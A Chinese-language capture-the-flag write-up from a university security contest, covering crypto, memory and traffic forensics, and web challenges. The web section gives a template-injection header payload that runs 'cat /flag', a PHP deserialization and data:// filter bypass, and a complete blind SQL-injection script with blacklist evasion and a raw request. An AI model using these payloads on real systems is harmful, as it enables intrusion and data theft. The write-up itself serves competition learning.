全国大学生信息安全竞赛(新疆赛区)WP
CRYPTO
affine
wohz{k533q73q-t76t-9292-351w-h880t22q2q59}
a=3 b=7
flag{b622d02d-e03e-4545-268f-a771e55d5d64}
SomethingHidden
from Crypto.Util.number import long_to_bytes, isPrime
from hashlib import sha256
from Crypto.Cipher import AES
# --- Challenge Data ---
N = 29287941964093188883554358759962324766413054938509973020469060324897666596790911417785791718225662909407046748730700393511727164992638859309051914817752161453430071520197806236982668426788996148542614675962835327600646675114044776422291762895540351295488463620830840260895942085590293936010897487443334022180921068879759894357182300863216381540594965567845230665432808496498721899010296008077888600276230436453346416223766922153731558028227295502011211796080344786948543217682991981791223266548648600316048178386585096118093900539239292482498040472725870838971971059537341275594528418355973441717474777281448026845373
e = 27955266925253148642253678752829183603219107778520606980764762752995571036134821430889656665717477157214005599893648302567419024006700075224145901058864025471376122721606447684082747992022267965241792216735472384680654771240354932987171309705823754809028693606076338867464980753571886581376406114561483162250351593164007074977896197934437555326889625656047853373889179731769563558844917159374790171076366851539889349713510477985229970467404417110370407654250262525961760288684308272656639979945733821040592567089478937570171101226406294152472692793873319781044539193653344814998127081830989348128648490881576398235955
outputs = [
(3205220094080592407592828125679505405222175350233807694327159593032969469579539804535020905896745919090265556507179288821213875752712326943938625398874083262608628666420762655582303641231925289465398823744770158764392477253388389480024069287363779774060962366992843006326211329071156343468269190434281421424221587984048575740789112158698868948466566947408953807967713643274889608573354692166180828636721319812054682845978388714126347955276139299995584288733190964976250581524403399583537399029174408442816250678567356095603425069263938872549246059702018186374731429179320660396979172676464090137034199876766815040549, 4831644744350799393765016099396882177026534773569532962146766169148481243322219737516506695852464031849695952207227141415079187438443873384079566512604202776962147357699367571125364213415800582067021480708275284860444744873611933615510520333222572461931300221867821081702084458292525283508482399395833410218592334630954773959254262941692220532586083298023976096784214039362483222310058451221948873959013103817332959309430450412106921677559864731324809944745039703799490755791317245753122131983084501003067118380162680898017587067862940816260310005852375433008408683639088699648954723722337562683163853590166299207882),
(10223665720049500731665673770103917961793186693687648371672171897872352435447003168707921372495448171568308786361270844274614650508367480702414916432634701500942569012336282352568912820462024329259048798831366489477953163885962745990200563709834731868518742507641941828621899056783884909373008325439482906379351126150044191130243110199555815953195410189701922253411950464540623741254828469722487917152632951477621077376226540842930933084730079740736321515593713245055389579335748273149419361624409497735156695920380256756873465619561744004161764910755943356577122675253183293946422864924947394830590760908284180805653, 6022461415472339281836498790278755583726889448623920530347868182630937987521253477126939602533575565331657993511358069473757046630594242611137100942575346645763052742511258016344480503774775023629872360358298995380098714687236835234204193892762002768854579522920204073999133902681913826901342657210771151320309334953071731535713048675285675974744410502359479970589333783354881282915026585051250730890093253822846141777793849657061271396501904548945234830806282646236893655892167888170712944257063558285805501798738399575903576977831532203975392444095534068494054836142511588829555267892072625075416002302243176635324),
(38295886401800770247937208725926281780443425977810381315056059604563712323892215369756043382931918604092036060639406709054651071621090310774115354952282617734839924719863747396452802997833397137971837803315063878192004294473556651925283669552605730995960381204942868510331336686033996535943375343952758789091959462318596236669589726125157492897857522812637457878020275467551375672236923393880594194964453929585538109959704846836439542984266313034272010738296189222642481431068045312778286597586289119135190665002893852930340193114169492386623439934950489147486565869065688389391266191081890052221792059016651759935, 22997295428814514195091139337373650893365094613018428287375171979263198804955694038921673706847017725112033894298965577877631026760694604442860104769929651081470274609617397037067997884566485822781893833508224191144921037000725886575812219990814743777146135558370440033727198066101727185074410043409716527519221297212798655733539022858296903864363604189024082966485173370094663250147084643430665337682727021661753415715552161602283717204286568751928695603206357216967106479737282869745702423639348584040558580768510604253083698350240121502964676110415110162800693161878015666130229334069872276017309750136299165288207)
]
ENCRYPTED_FLAG = b'|\x9aN\x16puZq\xb8R\xce\x84G\x06\xb0H\x91\xb4,\xd2\xba|\xac\x91\xbf"\xa7C\n\x82\xad\xa26s- 2\xc9[\xd5>\xa3\x81"t\xd2\x00"'
def rational_to_contfrac(x, y):
"""Convert a rational number x/y to its continued fraction representation."""
quotients = []
while y != 0:
a = x // y
quotients.append(a)
x, y = y, x - a * y
return quotients
def convergents_from_contfrac(frac):
"""Compute convergents from a continued fraction representation."""
convergents = []
n_prev, d_prev = 0, 1
n_curr, d_curr = 1, 0
for quotient in frac:
n_next = quotient * n_curr + n_prev
d_next = quotient * d_curr + d_prev
convergents.append((n_next, d_next))
n_prev, d_prev = n_curr, d_curr
n_curr, d_curr = n_next, d_next
return convergents
def find_secret_and_pads(X_values, convergents):
"""Find the secret S and pads using continued fraction convergents."""
print("[*] Checking convergents...")
for numerator, denominator in convergents:
if not (500 < denominator.bit_length() < 520):
continue
candidate_S = X_values[0] // numerator
for delta in range(-2, 3):
test_S = candidate_S + delta
if not isPrime(test_S):
continue
temp_pads = []
valid = True
for x_val in X_values:
pad = x_val % test_S
if pad.bit_length() == 511 and isPrime(pad):
temp_pads.append(pad)
else:
valid = False
break
if valid:
print(f"[+] Found Secret S: {test_S}")
print(f"[+] Recovered {len(temp_pads)} pads")
return test_S, temp_pads
return None, []
def decrypt_flag(pads, encrypted_data):
"""Decrypt the flag using recovered pads."""
key_str = str(pads)
print(f"[*] Key String Length: {len(key_str)} bytes")
key_hash = sha256(key_str.encode()).digest()
cipher = AES.new(key_hash, AES.MODE_ECB)
try:
decrypted = cipher.decrypt(encrypted_data)
return decrypted
except Exception as e:
print(f"[-] Decryption error: {e}")
return None
def main():
"""Main function to perform RSA attack and decrypt flag."""
print("[*] Starting RSA attack using continued fractions...")
X_values = [pow(ac, e, N) for bc, ac in outputs]
print(f"[*] Computed {len(X_values)} X values")
continued_fraction = rational_to_contfrac(X_values[0], X_values[1])
convergents = convergents_from_contfrac(continued_fraction)
print(f"[*] Generated {len(convergents)} convergents")
secret_S, pads = find_secret_and_pads(X_values, convergents)
if not pads:
print("[-] Failed to recover pads. Attack unsuccessful.")
return
flag = decrypt_flag(pads, ENCRYPTED_FLAG)
if flag:
print(f"\n[+] Flag: {flag.decode('utf-8', errors='ignore')}")
else:
print("[-] Failed to decrypt flag.")
if __name__ == "__main__":
main()
flag{f3b8d3c0-6f52-4b7d-9b9b-3c91ad7b4c42}MISC
dUmP

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
DUMP_FILE = "dUmP.DMP"
# 题目中在 dump 中出现的 XOR key
KEY = b"pyt0n_f0rEnsics_y0u_L1Ke_1t!"
# flag 固定前缀
PLAINTEXT_PREFIX = b"flag{"
def xor_bytes(data, key):
"""与 key 轮询 XOR"""
return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
def main():
print("[+] Loading dump file ...")
with open(DUMP_FILE, "rb") as f:
dump = f.read()
print("[+] Searching for XOR‑encrypted prefix ...")
# 加密后 flag{ 的前 5 个字节是什么?
enc_prefix = bytes([PLAINTEXT_PREFIX[i] ^ KEY[i] for i in range(len(PLAINTEXT_PREFIX))])
# 在整个 dump 中搜索这段 XOR 加密后的前缀
candidates = []
pos = dump.find(enc_prefix)
while pos != -1:
candidates.append(pos)
pos = dump.find(enc_prefix, pos + 1)
print(f"[+] Found {len(candidates)} possible encrypted blocks")
for pos in candidates:
# 从位置 pos 开始取 200 字节(足够包含 flag)
block = dump[pos:pos+200]
dec_block = xor_bytes(block, KEY)
try:
txt = dec_block.decode("utf-8")
except:
continue
if "flag{" in txt:
print("[+] Possible plaintext fragment found:")
print(txt)
# 提取 flag{...}
m = re.search(r"flag\{.*?\}", txt)
if m:
print("\n====================")
print(" FLAG FOUND:")
print(" " + m.group(0))
print("====================")
return
print("[-] No flag found!")
if __name__ == "__main__":
main()flag{d1D_y0U_l1KE_tHe_PyTh0n_MEm0rY_f0Rens1Cs}yijian霜寒十四州
! frame contains "404" and http and ! frame contains "HEAD" 可以看到类似凯撒密码的加密后门流量
![]()
ai提取脚本进行解密

HTTP/1.1 200 OK
Date: Mon, 22 Apr 2024 07:18:42 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 175
Connection: close
Content-Type: text/html
[Response] Body (decompressed):
80324Guvf gevc yrsg fbzr pbagrag gung hfrf gur fnzr rapbqre nf gur Gebwna ubefr,OHQOPLNjRWfb0BMlmGlIra7pDAm9dUp/33FTqq1DlduIP2DDH8qWaEt7/jL=
2166rrq9n
/ebbg
0psrq167p
5a9ae81
[Response] Body ROT13:
80324This trip left some content that uses the same encoder as the Trojan horse,BUDBCYAwEJso0OZyzTyVen7cQNz9qHc/33SGdd1QyqhVC2QQU8dJnRg7/wY=
2166eed9a
/root
0cfed167c
5n9nr81import base64
import zlib
b64 = 'BUDBCYAwEJso0OZyzTyVen7cQNz9qHc/33SGdd1QyqhVC2QQU8dJnRg7/wY='
try:
# 第一步:Base64 解码
decoded = base64.b64decode(b64)
print(f"Base64 解码后的字节: {decoded}")
print(f"长度: {len(decoded)}")
# 第二步:DEFLATE 解压
try:
# 尝试标准 zlib 解压
decompressed = zlib.decompress(decoded)
result = decompressed.decode('utf-8', errors='ignore')
print(f"\n使用 zlib.decompress 解压成功:")
print(f"结果: {result}")
except Exception as e1:
print(f"\nzlib.decompress 失败: {e1}")
# 尝试使用 -zlib.MAX_WBITS (raw deflate)
try:
decompressed = zlib.decompress(decoded, -zlib.MAX_WBITS)
result = decompressed.decode('utf-8', errors='ignore')
print(f"\n使用 raw deflate 解压成功:")
print(f"结果: {result}")
except Exception as e2:
print(f"raw deflate 也失败: {e2}")
# 尝试 gzip
try:
decompressed = zlib.decompress(decoded, zlib.MAX_WBITS | 16)
result = decompressed.decode('utf-8', errors='ignore')
print(f"\n使用 gzip 解压成功:")
print(f"结果: {result}")
except Exception as e3:
print(f"gzip 也失败: {e3}")
print("\n直接输出 Base64 解码后的内容:")
print(decoded)
except Exception as e:
print(f"Base64 解码失败: {e}")
# 尝试 Trojan horse 编码(ROT13 变体)
print("\n" + "="*50)
print("尝试 Trojan horse 编码分析...")
print("="*50)
# Trojan horse 可能是一种替换密码,让我们尝试不同的解码方式
import string
def rot13(text):
"""ROT13 编码"""
result = []
for char in text:
if char.isalpha():
if char.isupper():
result.append(chr((ord(char) - ord('A') + 13) % 26 + ord('A')))
else:
result.append(chr((ord(char) - ord('a') + 13) % 26 + ord('a')))
else:
result.append(char)
return ''.join(result)
# 尝试对 Base64 字符串进行 ROT13
rot13_b64 = rot13(b64)
print(f"\nROT13 后的 Base64: {rot13_b64}")
try:
decoded_rot13 = base64.b64decode(rot13_b64)
print(f"ROT13 后解码成功: {decoded_rot13}")
except:
print("ROT13 后无法 Base64 解码")

WEB
loginsimulator
模板注入
/login 并带上恶意的IP请求头
IP: 127.{__import__("os").popen("cat /flag").read()}
获取到的cookie加到请求访问/admin

flag{YZLFm1WYDbmXC6dmGiQo4WhBrZ8CfIxK}tricks_bucket
反序列化绕过:使用 C-Style 序列化格式
URL 过滤绕过:使用 data:// 协议伪装<?php
class tricksbucket{
public $wakeup=False;
public function __destruct(){
if ($this->wakeup===False) {
echo "You are in";
if (isset($_GET['url'])){
$url = $_GET['url'];
if (strpos($url,"flag")===false || strpos($url,'base64')!==false || strpos($url,'http')!==false) {
exit("no flag , no base , no http");
}
$contents = file_get_contents($_GET['url']);
if (strpos($contents,"flag")!==false) {
exit("contents has flag");
}
if($contents==="get"){
echo "flag{***}";
}
}
}else{
exit("No~ you disturb me");
}
}
public function __wakeup(){
$this->wakeup=True;
}
}
if (isset($_GET['exp'])) {
unserialize($_GET['exp']);
}else{
highlight_file("hint.php");
}payload
exp
C:12:"tricksbucket":0:{}
这是 C-Style 序列化格式,伪装成实现了 Serializable 接口
可以绕过 PHP 的 __wakeup()__术方法__
url
data:text/plain;flag=1,get
使用 data:// 协议
在 MIME 类型参数中插入 "flag" 字符串来绕过 strpos() 检查
最后的 "get" 是实际要读取的内容
?exp=C:12:"tricksbucket":0:{}&url=data:text/plain;flag=1,get
Easysql
手测黑名单
hex,ascii,union,substr,group_concat,substring,sleep,benchmark,GET_LOCK,and,regexp,等于号。单引号,双引号,大于号,小于号,逗号。不区分大小写使用%26%26替换and,使用//替换空格。**
发包不自动url编码,流量代理到bp
import requests
import sys
import time
import os
URL = "http://web-92ffd6341a.challenge.xctf.org.cn/feedback/view"
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
LOG_FILE = os.path.join(os.path.dirname(__file__), "blind_log.txt")
def log(*args):
s = " ".join(str(a) for a in args)
try:
with open(LOG_FILE, "a", encoding="utf-8") as f:
f.write(s + "\n")
except Exception:
pass
print(s)
def send(payload, timeout=8):
data = "id=" + payload
headers = {"Content-Type": "application/x-www-form-urlencoded"}
try:
r = requests.post(URL, data=data, headers=headers, proxies=PROXIES, timeout=timeout)
except Exception:
try:
r = requests.post(URL, data=data, headers=headers, timeout=timeout)
except Exception:
return -3
t = r.text.lower()
if "success" in t:
return 1
if "fail" in t:
return 0
if "internal server error" in t:
return -1
return -2
def test(expr):
payload = "1%26%26(" + expr + ")"
return send(payload)
def tohex(s):
return "0x" + s.encode("utf-8").hex()
CHARS = "abcdefghijklmnopqrstuvwxyz0123456789{}_:-./\\@#$%^&*()[]<>|=+!,;`~ABCDEFGHIJKLMNOPQRSTUVWXYZ"
def guess_char(get_expr, pos):
for ch in CHARS:
hx = "0x" + ch.encode("utf-8").hex()
expr = "MID(" + get_expr + "/**/FROM/**/" + str(pos) + "/**/FOR/**/1)/**/LIKE/**/" + hx
r = test(expr)
if r == 1:
return ch
if r == -1:
return None
return None
def extract_string(get_expr, max_len=256):
out = []
for pos in range(1, max_len + 1):
ch = guess_char(get_expr, pos)
if not ch:
break
out.append(ch)
if ch == "\n":
break
return "".join(out)
def get_database_name():
return extract_string("database()")
def get_table_name(idx):
sub = "(select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/LIKE/**/database()/**/limit/**/1/**/offset/**/" + str(idx) + ")"
return extract_string(sub)
def list_tables(limit=30):
res = []
for i in range(limit):
name = get_table_name(i)
if not name:
break
res.append(name)
return res
def get_column_name(table, idx):
table_hex = tohex(table)
sub = "(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/LIKE/**/database()/**/%26%26/**/table_name/**/LIKE/**/" + table_hex + "/**/limit/**/1/**/offset/**/" + str(idx) + ")"
return extract_string(sub)
def list_columns(table, limit=30):
res = []
for i in range(limit):
name = get_column_name(table, i)
if not name:
break
res.append(name)
return res
def extract_cell(table, column, row_index=0, max_len=1024):
sub = "(select/**/" + column + "/**/from/**/" + table + "/**/limit/**/1/**/offset/**/" + str(row_index) + ")"
return extract_string(sub, max_len=max_len)
def find_flag_with_tables(tables):
for t in tables:
cols = list_columns(t, limit=50)
target_cols = cols
prioritized = [c for c in cols if "flag" in c.lower()]
if prioritized:
target_cols = prioritized + [c for c in cols if c not in prioritized]
for c in target_cols:
val = extract_cell(t, c, 0, 2048)
if val:
if "flag{" in val.lower() or "ctf{" in val.lower() or "xctf{" in val.lower():
return t, c, val
return None, None, None
def main():
log("start")
try:
db = get_database_name()
except Exception as e:
log("db_error", str(e))
db = ""
log("mid")
log("database:", db)
try:
tables = list_tables(limit=100)
except Exception as e:
log("tables_error", str(e))
tables = []
log("tables:", tables)
target = None
for t in tables:
if "flag" in t.lower():
target = t
break
if not target and tables:
target = tables[0]
if target:
try:
cols = list_columns(target, limit=100)
except Exception as e:
log("columns_error", str(e))
cols = []
log("columns:", {target: cols})
t, c, v = find_flag_with_tables(tables if tables else [])
if v:
log("FLAG:", v)
return
if target and cols:
for col in cols:
val = extract_cell(target, col, 0, 2048)
if val:
log("candidate:", target, col, val)
log("done")
if __name__ == "__main__":
main()POST /feedback/view HTTP/1.1
Host: web-92ffd6341a.challenge.xctf.org.cn
User-Agent: python-requests/2.28.1
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 417
id=1%26%26(CASE/**/WHEN/**/((LENGTH(BINARY/**/MID((select/**/flllllllag/**/from/**/f1111ag/**/limit/**/1/**/offset/**/0)/**/FROM/**/1/**/FOR/**/38))/**/IN/**/(38)/**/%26%26/**/BINARY/**/MID((select/**/flllllllag/**/from/**/f1111ag/**/limit/**/1/**/offset/**/0)/**/FROM/**/1/**/FOR/**/38)/**/IN/**/(0x666c61677b73475867476d724f6a35534870775170434745704968727338324c6b414962627d)))/**/THEN/**/1/**/ELSE/**/(1/0)/**/END)


Comments NOTHING